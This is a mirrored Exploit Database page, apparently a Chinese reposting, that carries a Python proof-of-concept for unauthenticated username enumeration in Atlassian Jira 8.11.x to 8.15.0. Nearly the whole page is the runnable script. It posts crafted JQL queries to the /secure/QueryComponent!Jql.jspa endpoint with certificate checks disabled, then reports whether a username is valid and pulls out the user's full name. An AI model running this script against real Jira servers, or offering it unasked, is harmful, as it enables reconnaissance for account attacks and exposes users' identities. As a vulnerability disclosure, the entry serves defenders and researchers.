Atlassian Jira 8.15.0 – Information Disclosure (Username Enumeration)

• Exploit Database
• 127 阅读

• 作者： Mohammed Aloraimi
  日期： 2021-06-01
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49924/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67

  # Exploit Title: Atlassian Jira 8.15.0 - Information Disclosure (Username Enumeration) # Date: 31/05/2021 # Exploit Author: Mohammed Aloraimi # Vendor Homepage: https://www.atlassian.com/ # Software Link: https://www.atlassian.com/software/jira # Vulnerable versions: version 8.11.x to 8.15.0 # Tested on: Kali Linux # Proof Of Concept:   &apos;&apos;&apos; A username information disclosure vulnerability exists in Atlassian JIRA from versions 8.11.x to 8.15.x. Unauthenticated users can ENUMRATE valid users via /secure/QueryComponent!Jql.jspa endpoint.   Tested versions:   Atlassian JIRA 8.11.1 Atlassian JIRA 8.13 Atlassian JIRA 8.15 &apos;&apos;&apos;   #!/usr/bin/env python   __author__= "Mohammed Aloraimi (@ixSly)"       import requests import sys import re import urllib3 urllib3.disable_warnings()     def help(): print(&apos;python script.py <target> <username>&apos;) print(&apos;e.g. python script.py https://jiratarget.com admin&apos;) sys.exit()   if len(sys.argv) < 3: help()       def pwn(url,username):   try: headers = {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"} data="jql=creator+in+({})&decorator=none".format(username) req = requests.post(url+"/secure/QueryComponent!Jql.jspa",headers=headers,verify=False,data=data) if "issue.field.project" in req.text and req.status_code == 200: print("[+] {} is a Valid User".format(username)) userFullName=re.search(&apos;value=\"user:{}\" title=\"(.+?)\"&apos;.format(username),str(req.json()["values"]["creator"]).strip()) if userFullName: print("[+] User FullName: " + userFullName.group(1)) elif &apos;["jqlTooComplex"]&apos; in req.text and req.status_code == 401: print("[-] {} is not a Valid User".format(username)) else: print("[-] Error..") except Exception as e: print(str(e)) pass   server = sys.argv[1] username = sys.argv[2]     pwn(server,username)